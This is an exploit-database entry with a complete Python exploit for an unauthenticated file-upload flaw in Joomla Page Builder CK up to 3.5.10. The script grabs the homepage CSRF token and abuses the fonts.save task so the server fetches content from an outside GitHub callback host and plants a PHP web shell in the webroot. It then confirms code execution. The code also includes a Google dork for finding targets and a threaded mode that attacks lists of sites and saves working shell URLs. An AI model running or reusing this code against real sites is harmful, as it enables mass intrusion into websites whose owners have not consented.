Joomla Page Builder CK 3.5.10 - Arbitrary File Upload



EKU-ID: 56483 CVE: CVE-2026-56290 OSVDB-ID:
Author: M@rAz Ali Published: 2026-07-08 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Joomla Page Builder CK  3.5.10 -  Arbitrary File Upload
# Google Dork: inurl:com_pagebuilderck OR "/components/com_pagebuilderck/assets/pagebuilderck.js"
# Date: 2026-07-04
# Exploit Author: M@rAz Ali
# Credits: Peyman Siyahi, MR.PERSIA
# Vendor Homepage: https://www.joomlack.fr/
# Software Link: https://www.joomlack.fr/en/joomla-extensions/page-builder-ck
# Version: <= 3.5.10 (patched in 3.6.0)
# Tested on: Joomla 4.x / 5.x on Linux (Apache + PHP 8.x)
# CVE: CVE-2026-56290
#
# Description:
#   Page Builder CK (com_pagebuilderck) exposes an unauthenticated fonts.save task that
#   fetches remote assets and writes attacker-controlled PHP into the webroot under:
#       media/com_pagebuilderck/gfonts/
#   The only gate is a Joomla CSRF token, which is publicly readable on the homepage.
#
#   This PoC triggers fonts.save with a remote callback, then verifies remote code
#   execution by checking the uploaded shell response.
#
# Disclaimer:
#   For authorized security testing and education only. Do not use against systems
#   you do not own or lack explicit written permission to assess.

from __future__ import annotations

import argparse
import os
import re
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path

import requests
import urllib3

# Remote callback that serves font.css + payload chain (must host your own for testing).
CALLBACK = "https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main"
SHELL_PATH = "media/com_pagebuilderck/gfonts/fbi.php"
EXPECTED_TITLE = "Fbi Shell"

DEFAULT_THREADS = 20
DEFAULT_TIMEOUT = 12
HITS_FILE = Path(__file__).resolve().parent / "hits.txt"

TOKEN_PATTERNS = (
    r'"csrf\.token"\s*:\s*"([A-Za-z0-9_-]+)"',
    r"'csrf\.token'\s*:\s*'([A-Za-z0-9_-]+)'",
    r'name="([a-f0-9]{32})"\s+value="1"',
    r'value="1"\s+name="([a-f0-9]{32})"',
)

_PRINT_LOCK = threading.Lock()
_HITS_LOCK = threading.Lock()
_SAVED_HITS: set[str] = set()


def log(msg: str) -> None:
    with _PRINT_LOCK:
        print(msg, flush=True)


def normalize_url(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    return url.rstrip("/")


def extract_token(html: str) -> str | None:
    for pattern in TOKEN_PATTERNS:
        match = re.search(pattern, html, re.I)
        if match:
            return match.group(1)
    return None


def extract_title(html: str) -> str | None:
    match = re.search(r"<title[^>]*>([^<]+)</title>", html, re.I | re.S)
    if match:
        return match.group(1).strip()
    return None


def rce_confirmed(html: str) -> bool:
    title = extract_title(html)
    if title and EXPECTED_TITLE.lower() in title.lower():
        return True
    return EXPECTED_TITLE.lower() in html.lower()


def resolve_index_url(base: str, landing_url: str) -> str:
    path = requests.utils.urlparse(landing_url).path or "/"
    lang = re.match(r"^/index\.php/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
    if lang:
        return f"{base}/index.php/{lang.group(1)}"
    lang = re.match(r"^/([a-z]{2}(?:-[a-z]{2})?)(?:/|$)", path, re.I)
    if lang and path.count("/") <= 2:
        return f"{base}/index.php/{lang.group(1)}"
    return f"{base}/index.php"


def save_hit(shell_url: str, *, output: Path) -> None:
    with _HITS_LOCK:
        if shell_url in _SAVED_HITS:
            return
        _SAVED_HITS.add(shell_url)
        with output.open("a", encoding="utf-8") as fh:
            fh.write(shell_url + "\n")
            fh.flush()
            os.fsync(fh.fileno())
    log(f"[+] SHELL URL SAVED -> {shell_url}")


def make_session(*, insecure: bool, timeout: float) -> requests.Session:
    session = requests.Session()
    session.verify = not insecure
    session.headers.update(
        {
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/124.0.0.0 Safari/537.36"
            ),
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        }
    )
    session.request = _wrap_timeout(session.request, timeout)  # type: ignore[method-assign]
    return session


def _wrap_timeout(request_method, timeout: float):
    def wrapped(method, url, **kwargs):
        kwargs.setdefault("timeout", timeout)
        return request_method(method, url, **kwargs)

    return wrapped


def exploit(
    target: str,
    *,
    insecure: bool,
    timeout: float,
    verbose: bool,
) -> tuple[int, str, str | None]:
    """
    Returns (status, note, shell_url)
      0 = RCE confirmed
      2 = file written, PHP not executed
      1 = failed / not vulnerable
    """
    session = make_session(insecure=insecure, timeout=timeout)
    shell_url = f"{target}/{SHELL_PATH}"

    try:
        home = session.get(f"{target}/", allow_redirects=True)
    except requests.RequestException as exc:
        return 1, f"homepage failed: {exc}", None

    token = extract_token(home.text)
    if not token:
        return 1, "no CSRF token on homepage", None

    index_url = resolve_index_url(target, home.url)
    params = {"option": "com_pagebuilderck", "task": "fonts.save", token: "1"}
    data = {
        "local": "1",
        "fontvars": "regular",
        "fontname": "bb",
        "url": f"{CALLBACK}/font.css",
        token: "1",
    }

    try:
        save = session.post(
            index_url,
            params=params,
            data=data,
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
                "Accept": "application/json,text/plain,*/*",
                "Origin": target,
                "Referer": home.url,
            },
        )
    except requests.RequestException as exc:
        return 1, f"fonts.save request failed: {exc}", shell_url

    if "ERROR_INVALID_CONTROLLER" in save.text:
        return 1, "component/controller not present", shell_url

    try:
        check = session.get(shell_url)
    except requests.RequestException as exc:
        return 1, f"shell verification failed: {exc}", shell_url

    body = check.text
    title = extract_title(body)

    if verbose:
        log(f"[*] Target     : {target}")
        log(f"[+] CSRF token : {token}")
        log(f"[+] Index URL  : {index_url}")
        log(f"[+] fonts.save : HTTP {save.status_code}")
        preview = save.text.strip().replace("\n", " ")[:200]
        if preview:
            log(f"[+] Response   : {preview!r}")
        log(f"[+] Shell path : {shell_url} (HTTP {check.status_code})")
        if title:
            log(f"[+] Shell title: {title!r}")

    if check.status_code == 200 and rce_confirmed(body):
        return 0, f"RCE confirmed (title: {title or EXPECTED_TITLE})", shell_url

    if check.status_code == 200 and "<?php" in body:
        return 2, "file written but PHP not executed", shell_url

    if check.status_code == 200 and title:
        return 1, f"not confirmed (title: {title!r})", shell_url

    return 1, f"not confirmed (HTTP {check.status_code})", shell_url


def run_single(target: str, *, insecure: bool, timeout: float) -> int:
    log(f"[*] Callback URL : {CALLBACK}")
    log(f"[*] Shell path   : {SHELL_PATH}")
    log(f"[*] RCE marker   : <title> contains {EXPECTED_TITLE!r}")
    code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=True)

    if code == 0 and shell_url:
        log(f"[+] EXPLOIT SUCCESS -> {shell_url}")
        return 0
    if code == 2:
        log(f"[!] PARTIAL: {note}")
        return 2

    log(f"[-] FAILED: {note}")
    return 1


def parse_target_line(line: str) -> str | None:
    line = line.split("#", 1)[0].strip()
    if not line:
        return None
    return normalize_url(line.split("|", 1)[0].split(",", 1)[0].strip())


def load_targets(path: Path) -> list[str]:
    if not path.is_file():
        raise FileNotFoundError(f"targets file not found: {path}")

    targets: list[str] = []
    seen: set[str] = set()
    for raw in path.read_text(encoding="utf-8").splitlines():
        url = parse_target_line(raw)
        if not url or url in seen:
            continue
        seen.add(url)
        targets.append(url)

    if not targets:
        raise ValueError(f"no targets in {path}")
    return targets


def run_mass(
    targets_path: Path,
    *,
    insecure: bool,
    timeout: float,
    threads: int,
    output: Path,
) -> int:
    targets = load_targets(targets_path)
    workers = max(1, min(threads, len(targets)))

    log(f"[*] Loaded {len(targets)} target(s) from {targets_path.name}")
    log(f"[*] Callback URL : {CALLBACK}")
    log(f"[*] Shell path   : {SHELL_PATH}")
    log(f"[*] Output file  : {output.name}")
    log(f"[*] Threads      : {workers} | Timeout: {timeout:g}s")
    print()

    confirmed = partial = failed = 0

    def work(index: int, target: str) -> tuple[str, int, str, str | None]:
        code, note, shell_url = exploit(target, insecure=insecure, timeout=timeout, verbose=False)
        if code == 0 and shell_url:
            save_hit(shell_url, output=output)
            log(f"[{index}/{len(targets)}] HIT  {target} -> {shell_url}")
            return target, code, note, shell_url
        if code == 2:
            log(f"[{index}/{len(targets)}] PART {target} -> {note}")
            return target, code, note, shell_url
        return target, code, note, shell_url

    with ThreadPoolExecutor(max_workers=workers) as pool:
        futures = {
            pool.submit(work, i, target): target
            for i, target in enumerate(targets, start=1)
        }
        for future in as_completed(futures):
            _target, code, _note, _shell = future.result()
            if code == 0:
                confirmed += 1
            elif code == 2:
                partial += 1
            else:
                failed += 1

    print()
    log(f"[*] Done | Hit: {confirmed} | Partial: {partial} | Miss: {failed}")
    if confirmed:
        log(f"[+] {confirmed} shell URL(s) saved to {output.name}")
    return 0 if confirmed else 1


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Joomla Page Builder CK <= 3.5.10 fonts.save unauthenticated RCE PoC"
    )
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="Single target, e.g. https://lab.joomla.local")
    group.add_argument("-f", "--file", metavar="FILE", help="Target list (one URL per line)")
    parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
    parser.add_argument(
        "--threads",
        type=int,
        default=DEFAULT_THREADS,
        help=f"Parallel workers for --file mode (default: {DEFAULT_THREADS})",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=DEFAULT_TIMEOUT,
        help=f"HTTP timeout in seconds (default: {DEFAULT_TIMEOUT})",
    )
    parser.add_argument(
        "--output",
        metavar="FILE",
        default=str(HITS_FILE),
        help=f"Save confirmed shell URLs (default: {HITS_FILE.name})",
    )
    args = parser.parse_args()

    if args.insecure:
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    if args.file:
        path = Path(args.file)
        if not path.is_absolute():
            path = (Path.cwd() / path).resolve()
        output = Path(args.output)
        if not output.is_absolute():
            output = (Path.cwd() / output).resolve()
        return run_mass(
            path,
            insecure=args.insecure,
            timeout=args.timeout,
            threads=args.threads,
            output=output,
        )

    return run_single(
        normalize_url(args.url),
        insecure=args.insecure,
        timeout=args.timeout,
    )


if __name__ == "__main__":
    raise SystemExit(main())